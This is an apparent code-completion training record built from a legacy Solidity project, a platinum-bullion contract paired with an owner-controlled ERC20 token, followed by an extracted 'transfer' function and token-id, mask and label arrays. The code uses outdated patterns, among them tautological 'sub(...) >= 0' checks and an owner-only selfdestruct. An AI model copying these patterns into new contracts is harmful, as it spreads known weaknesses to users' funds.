while (ptr <= self._ptr + self._len) {
count++;
ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len;
}
}
/*
* @dev Returns True if `self` contains `needle`.
* @param self The slice to search.
* @param needle The text to search for in `self`.
* @return True if `needle` is found in `self`, false otherwise.
*/
function contains(slice self, slice needle) internal returns (bool) {
return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr;
}
/*
* @dev Returns a newly allocated string containing the concatenation of
* `self` and `other`.
* @param self The first slice to concatenate.
* @param other The second slice to concatenate.
* @return The concatenation of the two strings.
*/
function concat(slice self, slice other) internal returns (string) {
var ret = new string(self._len + other._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
memcpy(retptr + self._len, other._ptr, other._len);
return ret;
}
/*
* @dev Joins an array of slices, using `self` as a delimiter, returning a
* newly allocated string.
* @param self The delimiter to use.
* @param parts A list of slices to join.
* @return A newly allocated string containing all the slices in `parts`,
* joined with `self`.
*/
function join(slice self, slice[] parts) internal returns (string) {
if (parts.length == 0)
return "";
uint len = self._len * (parts.length - 1);
for(uint i = 0; i < parts.length; i++)
len += parts[i]._len;
var ret = new string(len);
uint retptr;
assembly { retptr := add(ret, 32) }
for(i = 0; i < parts.length; i++) {
memcpy(retptr, parts[i]._ptr, parts[i]._len);
retptr += parts[i]._len;
if (i < parts.length - 1) {
memcpy(retptr, self._ptr, self._len);
retptr += self._len;
}
}
return ret;
}
}
library ConvertStringByte {
function bytes32ToString(bytes32 x) constant returns (string) {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
function stringToBytes32(string memory source) returns (bytes32 result) {
assembly {
result := mload(add(source, 32))
}
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Platinum is Ownable {
using SafeMath for uint256;
using Strings for *;
// ========= 宣告 =========
string public version = "0.0.1";
// 基本單位
string public unit = "oz";
// 總供給量
uint256 public total;
// 存貨
struct Bullion {
string index;
string unit;
uint256 amount;
string ipfs;
}
bytes32[] public storehouseIndex;
mapping (bytes32 => Bullion) public storehouse;
// 掛勾貨幣
address public token;
// 匯率 1白金:白金幣
uint256 public rate = 10;
// PlatinumToken 實例
PlatinumToken coin;
// ========= 初始化 =========
function Platinum() {
}
// ========= event =========
event Stock (
string index,
string unit,
uint256 amount,
string ipfs,
uint256 total
);
event Ship (
string index,
uint256 total
);
event Mint (
uint256 amount,
uint256 total
);
event Alchemy (
uint256 amount,
uint256 total
);
event Buy (
string index,
address from,
uint256 fee,
uint256 price
);
// ========= 擁有者方法 =========
/**
* 操作存貨-進貨
*
* 此方法執行:
* - 紀錄新增的白金,紀錄資訊:
* - index: 白金編號
* - unit: 白金單位
* - amount: 數量
* - ipfs: 白金證明URL
* - 增加白金總庫存數量,量為amount
*
* Requires:
* - 執行者須為owner
* - 白金編號index不能重複
* - 單位須等於目前合約所設定的單位
* - 量amount需大於0
*
* Returns:
* - bool: 執行成功時,回傳true
*
* Events:
* - Stock: 執行成功時觸發
*/
function stock(string _index, string _unit, uint256 _amount, string _ipfs) onlyOwner returns (bool) {
bytes32 _bindex = ConvertStringByte.stringToBytes32(_index);
require(_amount > 0);
require(_unit.toSlice().equals(unit.toSlice()));
require(!(storehouse[_bindex].amount > 0));
Bullion bullion = storehouse[_bindex];
bullion.index = _index;
bullion.unit = _unit;
bullion.amount = _amount;
bullion.ipfs = _ipfs;
// 加入倉儲目錄
storehouseIndex.push(_bindex);
// 加入倉儲
storehouse[_bindex] = bullion;
// 增加總庫存
total = total.add(_amount);
Stock(bullion.index, bullion.unit, bullion.amount, bullion.ipfs, total);
return true;
}
/**
* 操作存貨-出貨
*
* 此方法執行:
* - 移除白金庫存
* - 減少白金總庫存量,量為白金庫存的數量
*
* Requires:
* - 執行者為owner
* - 白金編號index需存在於紀錄(已使用stock方法新增該庫存)
* - 白金總庫存需足夠,大於指定白金庫存的數量
*
* Returns:
* - bool: 執行成功時,回傳true
*
* Events:
* - Ship: 執行成功時觸發
*/
function ship(string _index) onlyOwner returns (bool) {
bytes32 _bindex = ConvertStringByte.stringToBytes32(_index);
require(storehouse[_bindex].amount > 0);
Bullion bullion = storehouse[_bindex];
require(total.sub(bullion.amount) >= 0);
uint256 tmpAmount = bullion.amount;
for (uint256 index = 0; index < storehouseIndex.length; index++) {
Bullion _bullion = storehouse[storehouseIndex[index]];
if (_bullion.index.toSlice().equals(_index.toSlice())) {
// 從倉儲目錄移除
delete storehouseIndex[index];
}
}
// 從倉儲移除
delete storehouse[_bindex];
// 減少總庫存
total = total.sub(tmpAmount);
Ship(bullion.index, total);
return true;
}
/**
* 鑄幣
*
* 此方法執行:
* - 增加白金代幣數量
* - 減少總白金庫存
*
* Requires:
* - 執行者為owner
* - 白金總庫存需足夠,即大於等於ptAmount
* - 白金代幣合約需已設定(setTokenAddress方法)
*
* Returns:
* - bool: 執行成功時,回傳true
*
* Events:
* - Mint: 執行成功時觸發
*/
function mint(uint256 _ptAmount) onlyOwner returns (bool) {
require(token != 0x0);
uint256 amount = convert2PlatinumToken(_ptAmount);
// 發送token的增加涵式
bool produced = coin.produce(amount);
require(produced);
total = total.sub(_ptAmount);
Mint(_ptAmount, total);
return true;
}
/**
* 煉金
*
* 此方法執行:
* - 減少白金代幣
* - 增加總白金庫存
*
* Requires:
* - 執行者為owner
* - 需已設定白金代幣合約(setTokenAddress方法)
* - 白金代幣owner所擁有的代幣足夠,即tokenAmount小於等於代幣owner的白金代幣數量
*
* Returns:
* - bool: 執行成功,回傳true
*
* Events:
* - Alchemy: 執行成功時觸發
*/
function alchemy(uint256 _tokenAmount) onlyOwner returns (bool) {
require(token != 0x0);
uint256 amount = convert2Platinum(_tokenAmount);
bool reduced = coin.reduce(_tokenAmount);
require(reduced);
total = total.add(amount);
Alchemy(amount, total);
return true;
}
/**
* 設定-匯率
*
* 匯率規則:
* - 白金數量 * 匯率 = 白金代幣數量
* - 白金代幣數量 / 匯率 = 白金數量
*
* Requires:
* - 執行者為owner
* - 匯率rate需大於0
*
* Returns:
* - bool: 執行成功,回傳true
*/
function setRate(uint256 _rate) onlyOwner returns (bool) {
require(_rate > 0);
rate = _rate;
return true;
}
/**
* 設定-Token地址
*
* 設定白金合約地址
*
* Requires:
* - 執行者為owner
* - 合約地址address不為0
*
* Returns:
* - bool: 執行成功,回傳true
*/
function setTokenAddress(address _address) onlyOwner returns (bool) {
require(_address != 0x0);
coin = PlatinumToken(_address);
token = _address;
return true;
}
/**
* 購買金條
*
* 此方法執行:
* - 扣除buyer的白金代幣
* - 移除白金庫存,代表buyer已從庫存買走白金
*
* Requires:
* - 執行者為owner
* - 白金編號index需存在於紀錄(已使用stock方法新增該庫存)
*
* Returns:
* - bool: 執行成功,回傳true
*
* Events:
* - Buy: 執行成功時觸發
*/
function buy(string _index, address buyer) onlyOwner returns (bool) {
require(token != 0x0);
bytes32 _bindex = ConvertStringByte.stringToBytes32(_index);
uint256 fee = coin.fee();
require(storehouse[_bindex].amount > 0);
Bullion bullion = storehouse[_bindex];
uint256 tokenPrice = convert2PlatinumToken(bullion.amount);
uint256 tokenPriceFee = tokenPrice.add(fee);
// 轉帳
bool transfered = coin.transferFrom(buyer, coin.owner(), tokenPriceFee);
require(transfered);
// 直接把剛剛賣出的價格煉金
bool reduced = coin.reduce(tokenPrice);
require(reduced);
// 減少庫存
for (uint256 index = 0; index < storehouseIndex.length; index++) {
Bullion _bullion = storehouse[storehouseIndex[index]];
if (_bullion.index.toSlice().equals(_index.toSlice())) {
// 從倉儲目錄移除
delete storehouseIndex[index];
}
}
// 從倉儲移除
delete storehouse[_bindex];
Buy(_index, buyer, fee, tokenPrice);
return true;
}
// ========= 公共方法 =========
// 比率轉換-白金幣換白金
function convert2Platinum(uint256 _amount) constant returns (uint256) {
return _amount.div(rate);
}
// 比率轉換-白金換白金幣
function convert2PlatinumToken(uint256 _amount) constant returns (uint256) {
return _amount.mul(rate);
}
// 金條資訊
function info(string _index) constant returns (string, string, uint256, string) {
bytes32 _bindex = ConvertStringByte.stringToBytes32(_index);
require(storehouse[_bindex].amount > 0);
Bullion bullion = storehouse[_bindex];
return (bullion.index, bullion.unit, bullion.amount, bullion.ipfs);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract PlatinumToken is Ownable, ERC20 {
using SafeMath for uint256;
// ========= 宣告 =========
// 版本
string public version = "0.0.1";
// 名稱
string public name;
// 標記
string public symbol;
// 小數點位數
uint256 public decimals;
// 白金合約地址
address public platinum;
mapping (address => mapping (address => uint256)) allowed;
mapping(address => uint256) balances;
// 總供給量
uint256 public totalSupply;
// 手續費
uint256 public fee = 10;
// ========= 初始化 =========
function PlatinumToken(
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol
) {
balances[msg.sender] = initialSupply;
totalSupply = initialSupply;
name = tokenName;
symbol = tokenSymbol;
decimals = decimalUnits;
}
// ========= 權限控管 =========
modifier isPlatinumContract() {
require(platinum != 0x0);
require(msg.sender == platinum);
_;
}
modifier isOwnerOrPlatinumContract() {
require(msg.sender != address(0) && (msg.sender == platinum || msg.sender == owner));
_;
}
/**
* 增產
*
* 此方法執行:
* - 增加owner的balance,量為指定的amount
* - 增加totalSupply,量為指定的amount
*
* Requires:
* - 執行者為白金合約(可透過setPlatinumAddress方法設定)
* - amount須設定為0以上
*
* Return:
* - bool: 執行成功回傳true
*/
function produce(uint256 amount) isPlatinumContract returns (bool) {
balances[owner] = balances[owner].add(amount);
totalSupply = totalSupply.add(amount);
return true;
}
/** 減產
*
* 此方法執行:
* - 減少owner的balance,量為指定的amount
* - 減少totalSupply,量為指定的amount
*
* Requires:
* - 執行者為白金合約(可透過setPlatinumAddress方法設定)
* - amount須設定為0以上
* - owner的balance需大於等於指定的amount
* - totalSupply需大於等於指定的amount
*
* Return:
* - bool: 執行成功回傳true
*/
function reduce(uint256 amount) isPlatinumContract returns (bool) {
require(balances[owner].sub(amount) >= 0);
require(totalSupply.sub(amount) >= 0);
balances[owner] = balances[owner].sub(amount);
totalSupply = totalSupply.sub(amount);
return true;
}
/**
* 設定-白金合約地址
*
* 此方法執行:
* - 修改此合約所認識的白金合約地址,此地址決定能執行produce和reduce方法的合約
*
* Requires:
* - 執行者須為owner
* - 地址不能設為0
*
* Returns:
* - bool: 設定成功時回傳true
*/
function setPlatinumAddress(address _address) onlyOwner returns (bool) {
require(_address != 0x0);
platinum = _address;
return true;
}
/**
* 設定-手續費
*
* 手續費規則:
* - 購買金條時,代幣量總量增加手續費為總扣除代幣總量
*
* Requires:
* - 執行者為owner
*
* Returns:
* - bool: 執行成功,回傳true
*/
function setFee(uint256 _fee) onlyOwner returns (bool) {
require(_fee >= 0);
fee = _fee;
return true;
}
/**
* 交易,轉移白金代幣
*
* 此方法執行:
* - 減少from的白金代幣,量為value
* - 增加to的白金代幣,量為value
*
* Requires:
* - 執行者為owner
*
* Returns:
* - bool: 執行成功回傳true
*
* Events:
* - Transfer: 執行成功時,觸發此事件
*/
function transfer(address _to, uint256 _value) onlyOwner returns (bool) {
balances[owner] = balances[owner].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(owner, _to, _value);
return true;
}
/**
* 查詢白金代幣餘額
*
* Returns:
* - balance: 指定address的白金代幣餘額
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
/**
* 轉帳
*
* 實際將approve過的token數量進行交易
*
* 此方法執行:
* - 交易指定數量的代幣
*
* Requires:
* - 交易的代幣數量value需大於0
* - allowed的代幣數量需大於value(allowed的代幣先由呼叫approve方法設定)
*
* Returns:
* - bool: 執行成功,回傳true
*/
function transferFrom(address _from, address _to, uint256 _value) isOwnerOrPlatinumContract returns (bool) {
var _allowance = allowed[_from][owner];
uint256 valueSubFee = _value.sub(fee);
balances[_to] = balances[_to].add(valueSubFee);
balances[_from] = balances[_from].sub(_value);
balances[owner] = balances[owner].add(fee);
allowed[_from][owner] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* 轉帳 - 允許
*
* 允許一定數量的代幣可以轉帳至owner
*
* 欲修改允許值,需先執行此方法將value設為0,再執行一次此方法將value設為指定值
*
* 此方法操作:
* - 修改allowed值,紀錄sender允許轉帳value數量代幣給owner
* - allowed值有設定時,value須為0
* - allowed值未設定時,value不為0
*
* Returns:
* - bool: 執行成功,回傳true
*/
function approve(address _dummy, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][owner] == 0));
allowed[msg.sender][owner] = _value;
Approval(msg.sender, owner, _value);
return true;
}
/**
* 轉帳 - 查詢允許值
*
* Returns:
* - unit256: 允許值
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* 刪除合約
*
* 此方法呼叫合約內建的selfdestruct方法
*/
function suicide() onlyOwner returns (bool) {
selfdestruct(owner);
return true;
}
}
|
* 交易,轉移白金代幣 此方法執行: - 減少from的白金代幣,量為value - 增加to的白金代幣,量為value Requires: - 執行者為owner Returns: - bool: 執行成功回傳true Events: - Transfer: 執行成功時,觸發此事件/
|
function transfer(address _to, uint256 _value) onlyOwner returns (bool) {
balances[owner] = balances[owner].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(owner, _to, _value);
return true;
}
| 2,236,317 |
[
1,
4625,
348,
7953,
560,
30,
380,
225,
165,
123,
102,
167,
251,
246,
176,
125,
239,
169,
126,
236,
168,
105,
124,
168,
252,
126,
170,
234,
244,
165,
124,
101,
166,
122,
101,
225,
167,
260,
102,
167,
249,
122,
167,
116,
248,
166,
258,
120,
169,
99,
239,
176,
125,
253,
225,
300,
225,
167,
121,
254,
166,
113,
244,
2080,
168,
253,
231,
168,
252,
126,
170,
234,
244,
165,
124,
101,
166,
122,
101,
176,
125,
239,
170,
234,
242,
168,
229,
123,
1132,
225,
300,
225,
166,
100,
257,
166,
237,
259,
869,
168,
253,
231,
168,
252,
126,
170,
234,
244,
165,
124,
101,
166,
122,
101,
176,
125,
239,
170,
234,
242,
168,
229,
123,
1132,
16412,
30,
225,
300,
225,
166,
258,
120,
169,
99,
239,
169,
227,
232,
168,
229,
123,
8443,
2860,
30,
225,
300,
1426,
30,
225,
166,
258,
120,
169,
99,
239,
167,
235,
243,
166,
237,
258,
166,
254,
257,
166,
229,
116,
3767,
9043,
30,
225,
300,
12279,
30,
225,
166,
258,
120,
169,
99,
239,
167,
235,
243,
166,
237,
258,
167,
252,
229,
176,
125,
239,
169,
105,
121,
168,
252,
125,
167,
260,
102,
165,
123,
238,
165,
124,
119,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
7412,
12,
2867,
389,
869,
16,
2254,
5034,
389,
1132,
13,
1338,
5541,
1135,
261,
6430,
13,
288,
203,
565,
324,
26488,
63,
8443,
65,
273,
324,
26488,
63,
8443,
8009,
1717,
24899,
1132,
1769,
203,
565,
324,
26488,
63,
67,
869,
65,
273,
324,
26488,
63,
67,
869,
8009,
1289,
24899,
1132,
1769,
203,
203,
565,
12279,
12,
8443,
16,
389,
869,
16,
389,
1132,
1769,
203,
203,
565,
327,
638,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
